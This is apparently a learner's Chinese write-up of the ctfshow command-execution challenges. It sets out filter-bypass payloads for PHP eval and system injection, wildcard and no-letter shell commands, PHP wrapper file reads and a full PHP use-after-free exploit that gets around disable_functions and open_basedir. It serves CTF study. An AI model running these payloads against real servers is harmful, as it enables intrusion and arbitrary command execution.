初学WEB安全,在学习过程中,看了很多WP,我尽可能地把知识点描述地详细且透彻一点,这是作为我自己的笔记,也希望能为大家提供理解,帮助如果文章中有什么遗漏或者不当欢迎大家指出。
29.
构造c=system("tac ????.php");
一些常见的思路:
30.
构造?c=echo `tac fl*`;
或者?c=eval($_GET[1]);&1=system("tac flag.php");
注意:1.反引号执行命令是没有回显的,不像system能给到回显,所以要加一个echo.
2.第二种构造不要忘了第一个eval,否则相当于只传了个值回去。
这道题过滤了system,PHP还有exec()、passthru()等命令执行的函数
其中,exec()也是一个无回显的函数
31.
c=eval($_GET[1]);&1=passthru("tac flag.php");
这些是ctf题一些可以记住 的知识点:
空格过滤
%09 符号需要php环境 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
cat过滤
more:一页一页的显示档案内容 less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
32-36
由于把括号过滤了,就不能参数逃逸:c=eval($_GET[1])?>&1=system("ls");
php中常见的不用括号的函数:
include ""; require ""; include_once ""; require_once "";
双引号内表示文件路径。
函数名与双引号间的空格可要可不要。
这几道题都可以用伪协议包含来做(以包含php伪协议为例):
官方WP上是这样写的:
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
注意:伪协议只有有包含函数才可以执行(include,require),eval不可以。
payload中?>相当于分号
include后的%0a表示换行
其实%0a可要可不要。
37.
过滤了flag,意味着php伪协议读取flag.php文件就不可行了(代码不可以用通配符,只有命令才可以),所以我们可以用data伪协议。
如下:
?c=data://text/plain,<?php system("tac f*");?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
相当于将要执行的命令base64编码执行,可以绕过过滤的关键字。
这里编码的为<?php system('cat flag.php');?>
注意cat可能要查看页面源代码才能拿结果(被html注释了)。
38
可以php短标签替代php:?c=data://text/plain,<?= system("tac f*");?>
也可以用上一题data协议base64编码的方法。
39.
直接?c=data://text/plain,<?php system("tac f*");?>
因为此时相当于包含data://text/plain,<?php system("tac f*");?>.php
作为php代码段,只会执行php闭合标签内的代码,后面的.php会被当作html代码,直接显示在页面。
40.
可以用的字符:英文括号,下划线,字母,分号.
解法一.
c=eval(array_pop(next(get_defined_vars())));
然后post: 任意字符=想要执行的代码
解释:
get_defined_vars():被定义的变量,包括get,post,cookie等,用print_r打印出来可以发现是以数组方式存放的.
可以看出这是一个二维数组。
next:返回数组下一个元素的值。
next(get_defined_vars()):相当于拿到了二维数组内存放的第二个数组,即相当于此时拿到存放post变量的数组。
array_pop:删除并弹出数组最后一个元素的值(返回键值)。
如:此时我们post一个新变量如1=system(ls);
那么就会返回post数组的最后一个元素的值system("ls");。
为什么要用两个eval呢?
一个表示执行提取数组元素的函数,使得到返回值(想要执行的代码)。
一个表示执行该返回值。
解法2.
show_source(next(array_reverse(scandir(getcwd()))));或c=show_source(next(array_reverse(scandir(pos(localeconv())))))
getcwd():返回当前目录.
localeconv():返回包含本地数字及货币格式信息的数组.
pos(localeconv()):返回该数组第一个值,及小数点,对于scandir(.)相当于扫描当前目录了,所以此时和getcwd()等价.
scandir(getcwd()):将当前目录录入数组,如下:
array_reverse():数组倒置
next:返回数组下一个元素的值
show_source:返回目标源码
由于next不可以嵌套(因为next的对象肯定要是数组,next()返回的已经是一个值了,next(next())相当于对一个值操作了,这里我没有过多深入,经过我的实验反正不行,如果有错,希望得到指正),所以这个方法只适用于flag在第二个或者倒数第二个.
解法2补充
当在其它位置时,可以用这个:
c=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
array_rand:返回随机键名.
array_flip:交换键值顺序.
多刷新几次就可以得到目标文件源码
参考文章:https://www.cnblogs.com/iwantflag/p/15493730.html
https://www.cnblogs.com/NPFS/p/13778333.html
题目上提示的session方法官方也说了拿不到flag,就先不过多讨论了.
41.
直接见羽师傅的WP
ctfshow web入门 web41_ctfshow web41-CSDN博客z
这道题我原本自己也模仿着写了脚本,但是弄不出来,抽空我会在此补充一下有什么值得注意的细节。
42&43.>/dev/null 2>&1
指的是把标准输mage-20240109131315358.png)出和错误输出都丢弃(没有回显)
>/dev/null 2>&1详解_> /dev/null 2>&1-CSDN博客
1.;
构造c=ls;ls,相当于执行完ls后再执行ls>/dev/null 2>&1
所以:c=tac flag.php;ls 拿flag
2.||
以||分割的命令:前面为真,则后面不能执行,前面为假,后面能执行,同样可以起到分离命令的作用
同理也可以c=tac flag.php||ls
3.&&
同理,也可以起到分离命令的作用,但是传递的时候要进行URL编码(我也没搞懂为什么,希望得到解惑),构造c=ls%26%26ls
4.%0a
如cat flag.php%0a
44.过滤flag
1.通配符*
?c=tac f*||ls
2.通配符?
?c=tac fla?.php||ls
3.''隔断
linux特性
?c=tac fl''ag.php||ls
45-50.过滤空格
可以用
< 、<>、%20(space)、%09(tab)-需要php环境、$IFS$9、 ${IFS}、$IFS(其实${IFS}等同于${IFS},大括号相当于强调这是一个变量,在有些情况下需要强调一下)
注意不要用>,不然会使得文件里面内容清空
tac<file,就相当于把命令执行结果重定向到终端了(我是这么理解的),所以可以代替空格
%20一般不行,因为中间件解码后一样会以空格的形式传回去,服务器代码依然会把它当作空格
但是这些东西我只试出来用%09代替空格可以打印flag,还有一种是<\<>与''搭配使用才可以,<\<>单独用来代替空格就不行
补充:这是因为</<>不支持通配符
这些是我试出来代替空格能打印flag的写法(有待补充):
c=tac%09<fla?.php||
c=tac<>f''lag.php||
c=tac<f''lag.php||
50题过滤的x09|x26是过滤%09(tab)和%26(&)
51.
把tac也过滤了。
用nl命令把行号和内容一起读出来。
c=nl<>fla''g.php||
因为前端有HTML注释,所以此时要查看源代码,我们用tac查看flag不需要查看源代码的原因是tac能破坏html注释(这里我就不深入了解了,知道就行)
或者直接''隔断用ta''c代替tac
52.
用${IFS}代替空格
拿当前目录的flag是假的flag
所以用ls /命令查看根目录
然后拿这个flag
c=t''ac${IFS}/fla?||
?c=ta''c${IFS}Isfla?.php
53.
?c=ta''c${IFS}fla?.php
我特么先还以为是Isflag.php...
54.
把几乎所有的打开文件命令禁用完了。
解法1.
直接用cp flag.php a的命令,把flag.php的内容拷贝到a里面:
c=cp${IFS}fla?????${IFS}a我这里没看到过滤.没有,就直接写成没有后缀的文件了,这道题也可以.txt这样
然后访问url/a,访问直接下载,改成txt格式
或者用mv代替cp,相当于把flag.php文件移到文件a,然后访问/a也行
解法2.
看到网上有个骚操作,把cat命令(其它命令同理)换成/bin/ca?,相当于调用系统文件夹里面的cat文件执行cat命令
直接?c=/bin/ca?${IFS}????.???
解法3.
这道题其实只是相当于把flag这种按序排列的字符,中间无论穿插什么都过滤掉。
完全也就可以c??${IFS}f???????这样
55.无字母命令rce
做这道题的时候联想到41题,但是那道题时函数rce,用那几种算法制造出来的字符能被解析,但是这道题是system内执行rce,当然不可能把之前的一大堆运算传入命令行。
解法1.
调用bin目录下的base64命令
构造c=/bin/base64 flag.php
c=/???/????64 ????????
解法2.
调用user/bin下的bzip2命令
bzip2 flag.php相当于把flag.php压缩成flag.php.bz2
c=/???/???/????2 ????????
访问/flag.php.bz2即可
解法3.
参考大神们的文章:
无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客
这是我结合我看到的东西对原理的一些理解,如果不对希望得到指正:
php脚本在执行完之前,如果有上传文件到脚本,为了防止损失数据(它不知道是否后续脚本执行是否需要用到文件里的东西),会将这些文件存放在tem目录下默认文件名是phpXXXXXX (X为随机大小写字母)
但是直接如果直接日/???/?????????的话,有很多可以这样表示的文件,所以把最后一个(也可以换个位置)换成[@-[]
[a-b]在linux shell中,也是一种通配符格式,意味匹配从a到b的ASCII值的字符,这里就是指大写字母了。
一次出不来的话重发几次就能得到最后一位是大写字母的文件名。
由此我们得到了可控的文件。
在该文件(任意后缀)中,写入
#!/bin/sh
想要执行的命令
这里又来了个知识点,. 在LINUX shell中能执行任意脚本,所以我们传参时,可以传入c=. /tem/文件名,将我们的脚本执行。
为了方便传文件,可以建一个HTML表单文件上传,这是我抄的:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<form action="http://dd5e3c9e-e25e-4c66-a643-428175f87e22.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--action里面是题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,记得post传参,多试几次:
学完这道题感觉收获太多了,也很感谢师傅们,感觉当萌新的我随时随处都能吸收到师傅们和大神们的营养一样,感觉大家都在并肩作战,这种感觉真不辍。
56.无字母数字命令rce
这道题与上一题区别就是解法1,2不好用了,因为数字没有了,全用通配符的话能匹配上的文件太多了。
所以还是用解法3传文件。
57.$(())构造数字
又学到个骚姿势
$(( ))里面能进行数学运算,如果没有东西就会把结构看作0
对0取一次反得到-1,即$((~$(( )) ))
$( $((~$(( )) )) $((~$(( )) )) )得到-2(-1-1)
因为要构造36,所以可以在$((~$(( )) ))里面塞-37,即37个$((~$(( )) )),因为~-37=36
所以payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
58-65.禁用危险函数
禁用了eval,system,exec等等
先扫描文件目录:c=print_r(scandir(dirname('FILE')));或print_r(scandir(''."));
知道了该目录下有个flag.php
然后又两种姿势
第一种
构造c=include($_POST['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
包含伪协议来读取flag。
第二种
c=highlight_file("flag.php");
或者show_source("flag.php");
66.目录遍历
php的遍历本级目录可以用print_r(scandir("."));
上一级目录scandir("../")(可以叠加)
根目录scandir("/")
在上一级目录里面有个flag.txt
所以可以
c=highlight_file("/flag.txt");
或者c=include($_POST[1]);&1=php://filter/read=convert.base64-encode/resource=/flag.txt
67.
把show_source和print_r都屏蔽了,但是我盲猜flag还是在根目录的flag.txt,我就直接:
c=highlight_file("/flag.txt");
或者c=include($_POST[1]);&1=php://filter/read=convert.base64-encode/resource=/flag.txt
68.
可以先c=var_dump(scandir("/"));看一下是不是真的有flag.txt在根目录。
把highlight_file也过滤了,那么就
c=include($_POST[1]);&1=php://filter/read=convert.base64-encode/resource=/flag.txt
或者
c=readgzfile("/flag.txt");
(试了下,readgzfile不能读php文件,它本身是读压缩文件的,和gzwrite配套,但是这里能读出txt文件也算一个知识点吧。)
69&70.
var_dump和print_r都没了。
我还是盲猜是一样的文件位置
c=include($_POST[1]);&1=php://filter/read=convert.base64-encode/resource=/flag.txt
和
c=readgzfile("/flag.txt");
依旧能做。
这里看WP收获了几种思路:
1.var_export类似于var_dump,这关可以用
2.没有过滤print和echo,可以把scandir("/")这个数组化成字符串,然后再用print,echo打印出来,相关函数:implode()。
71.exit的妙用
下载附件可以看到:
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
$s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);
这里会清空缓冲区,并将原来缓冲区的字母和数字给用?代替。
我们可以用eval执行拿到flag的函数后立即执行exit()退出,来清楚后续对缓冲区输出的影响。
所以payload:c=readgzfile("/flag.txt");exit();
72.open_basedir
这道题对目录进行了保护,配置了open_basedir(PHP可访问目录)
basedir是再php.ini里面的一个配置,限制用户可访问的目录前缀,若open_basedir=/tem/user的话,可以访问/tem/user以及/tem/user1这样类似的有规定前缀的文件路径。
关于basedir的绕过,这篇文章讲的很好:
这道题利用到glob://伪协议绕过
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
记得要URL编码!
发现有个flag0.txt.
接下来读取根目录下flag0.txt时,因为还是有open_basedir保护就要用uaf脚本绕过:
<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
同样记得URL编码!
且把脚本赋给c时,原码前要加个?>
73.
解法1.
能用scandir打开根目录,只是禁用var_dump,print_r这些,可以直接用var_export,查看根目录,发现flagc.txt
或者echo(implode(' ',scandir('/')));
然后因为是txt文件直接readgzfile。或者include("/flagx.txt")
解法2.
上一题的UAF也可以用,只是这道题过滤了脚本里面的strlen,可以找和它功能差不多的来代替,或者自己定义一个有strlen的功能的函数。
74.
直接var_export(opendir("/"))会显示NULL,估计是设置了权限,不能查看。
所以我们用glob伪协议的老办法,构造URL编码后的?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
发现根目录下有flagx.txt。
直接readgzfile("/flagx.txt")。或者include("/flagx.txt")
75&76.POD
75是flag36.txt 76是flag36d.txt
解法1.
这道题和73题差不多,glob伪协议发现了flag36.txt,用UAF脚本绕过,但是过滤了strlen,所以用自己构造的函数替换strlen进行URL编码后赋给c:
?><?php function action($string) { $length = 0; while (isset($string[$length])) { $length++; } return $length; } function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = action($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(action($abc) == 79 || action($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag36.txt");ob_end_flush(); ?>
但是,访问时一直发现504错误,,,估计是环境有点问题。
解法2.
c= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);
PDO连接数据库,由于这里我只接触过一点数据库内容,这段代码暂时还是看不懂,不过现在暂时能会用就行。
它的大概思路是:因为他是限制的PHP语法,但是限制PHP语法了关我MYSQL什么事。所以借此可以绕过
也要注意进行URL编码。
77.
还是老办法扫出来了flag36x.txt,根目录还有个readflag
可是用75&76的方法连接数据库时,显示could not find driver。
然后看了提示发现,这道题要用到FFI:从一个语言调用 另一个语言的技术,在PHP中是指调用C语言,在PHP7.4以上才有的。
根据提示里的代码,我们写出:
c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);exit;
将根目录下的flag放进当前目录的1.txt,然后访问即可。
我也尝试了下如 cp /flag36x.txt 1.txt或者tac /flag36x.txt这样的命令,可是依然读不出来,估计还是权限问题。
118.
F12发现提示,输入的内容会当作system执行。
写个C语言脚本把可打印的字符跑出来当字典:
#include<stdio.h> int main() { FILE* p = fopen("D://字典//ASCII.txt", "w"); for (int i = 32; i <= 126; i++) { fprintf(p,"%c\n",i); } fclose(p); return 0; }
然后抓包,用这个字典爆破测试一下哪些字符能用:
这些长度712的字符为可用字符。
如有大写字母,花括号,问号等
其它的都是evil input。
我们可以用这些字符用Bash内置变量的切片构建命令
常见Bash内置变量:
https://www.cnblogs.com/sparkdev/p/9934595.html#title_pwd
还有很多。
${USER}:www-data
${HOME}:当前目录的主目录,一般为/root和/home/用户名
${HOSTNAME}:主机名,这里面为5.
还有这里用到$PWD和$PATH(环境变量)。$PWD可返回工作目录路径, 这种网页主页题目的工作目录肯定是/var/www/html,$PATH一般都是/bin
拼接:如
${PWD} ---> /var/www/html
${PWD:0:2} ---> /v
${PWD:~0:2} ---> ml (~就是从末尾开始计)
${PWD:~A:2} ---> ml (字母等同于0)
${PWD:0} ---> l (默认取1个字符)
${PWD::0} ---> / (默认从第一位开始)
题目告诉了flag在flag.php
那么就凑出如 nl flag.php这样的命令
payload: ${PATH:~A}${PWD:~A} ????.???
没有给空格怎么办?
就用到前面的知识$IFS变量代替空格
查看源码即可得到flag
119-120.
爆破出来能用的字符还是那些。
但是尝试之后发现PATH这个整体没了。
且也不能在PATH之间穿插''。
那么换一些变量就来构造命令,可是存在一个问题,数字被过滤了,就不能用数字来表示位置。
这里可以用一些其它的变量和表示方式来代替数字,如:
${SHELVL}:是记录多个 Bash 进程实例嵌套深度的累加器,第一次打开shell为1,每次打开+1
#取长度类:
${#RANDOM}:${RANDOW}本身取随机数的变量(0~32767),加上#取长度就相当于取随机数的位数了。可用代替1,2,3,4,5(大不了多试几次,且取4,5的概率要大的多)
${#IFS}:${IFS}是空格符,tab字符,换行字符,长度为3
(这只是举了几个例子,肯定还有更多)
构造命令的话可以利用很多命令,之前做题遇到的,比如/bin/base64,可以只写成/???/?????4,还有/bin/cat,可以只要/???/??t这样,只要这样表示的文件路径是唯一的,就可以。
如:/bin/base64--->/???/?????4:
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
($HOME看为/root)
查看源代码得到flag的base64编码
PS:
在官方WP中
我想用${RANDOM}代替${HOSTNAME}即代替5,不知道为什么一直试不出来。
121.
与上一题的用base64写法来读差异也就是把SHLVL过滤了。
用${#?}表示1一样的。(#是取长度,就如#?是1,#??是2,#???是3,,,,)
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
hint中的payload使用的是/bin/rev读文件。
122.
把$PWD和#过滤了
在之前调用/bin/base64的命令中,只需要把/和4表示出来就行。
这道题调用/很简单,还留下了$HOME(/root),但是#和SHELVE过滤了,表示数字就有点难了。
这里有个新知识:$?
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以我们可以用$?代表1,主要是为了方便表示"/"。
而退出指令为1的错误通常为找不到目录或文件。
可以用<A等命令(将A文件夹内的命令重定向到终端进行执行,当然,由于没有文件A肯定就会报错1)
命令中需要的4的话还是用$RANDOM,就一直尝试,直到它的第一位为4.
payload:code=
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
多日几次就日出来了。
124.
爆破一下可用字符:
长度183的包对应字符是可用字符
给到了一些进制转化的数学函数,所以可以构造函数
如$c=$GET{1}($GET{2})&1=system&2=tac flag(大括号可代替中括号)
我们要用到进制转换函数:base_convert(string $num
, int $from_base
, int $to_base
)
$num是要转化的数据,$from_base表示该数据的进制,$to_base表示要转化的进制。
值得一提的是,两个表示进制的参数只能在2到36之间(包括2,36),36就表示0-9加上26个英文字母。
所以这里有个疑问,这26个英文字母是大写还是小写呢?
这个疑问来源于我原本想要拿个"62进制"来转化,把GET,和后面的system等大小写字符通过如base_convert(10,10,36)(表示a)的方式表示(因为我原先以为36进制除开0-9之外是小写字符,那么同理进制加上26就可以用来表示大写字符)。但是我看到最多36进制的时候就有点疑惑它的大小写区分方式了。
在VSCODE上试了试,发现它的表示方法是这样的:
当你给$num赋值时,不区分大小写,比如a和A都看作10,但比如base_convert(10,10,36)时,就会默认小写。
所以我们光用base_convert把
c=$GET{1}($GET{2})&1=system&2=tac flag构造出来时行不通的,因为缺少大写字母的表达。
所以我们的眼光看向了另外一个函数:hex2bin(),
它的作用是把16进制转化为相应ASCII字符。于是我们用刚才base_convert的方法可以把hex2bin构造出来。
反过来base_convert(37907361743,10,36)表示hex2bin
尝试着写了个简易的python脚本,能把字符串转化成16进制为hex2bin所用:
string=input("输入想要得到的字符或字符串") def action(str): result="" for char in str: result+=hex(ord(char)).replace("0x","") return result res=action(string) print(res)
就可以输入GET,system等来作为hex2bin的参数。
构造payload:
c=$_GET{1}($_GET{2})
c=$base_convert(245f474554,10,36)(474554){1}($base_convert(245f474554,10,36)(474554){2})
但是这样构造的话会超出字数。
我们这里可以这样:
c=$abs=_GET;$$abs{1}($$abs{2})
用$abs是因为当你给出字母时,它的正则匹配会把你的几个连续字母组成的整体与它所给出的几个数学函数比较,必须是其中的函数名,所以这里随便选一个函数名作变量名。
c=$abs=base_convert(37907361743,10,36)(5f474554);$$abs{1}($$abs{2})&1=system&2=ls
但是这里又出现了一个问题,_GET的ASCII16进制出现了字母,意味着会被正则匹配到
所以我们要换一种方法:
用到给的dechex()。
我们把5f474554转化为10进制给到dechex(),再把dechex()给到hex2bin
最终payload:
c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=tac flag.php
至此命令执行收工,初学该内容参考了很多元姐的这篇WP,十分感谢前辈:
参考WP:CTFshow web入门——命令执行_"preg_match(\"/flag/i\", $c)"-CSDN博客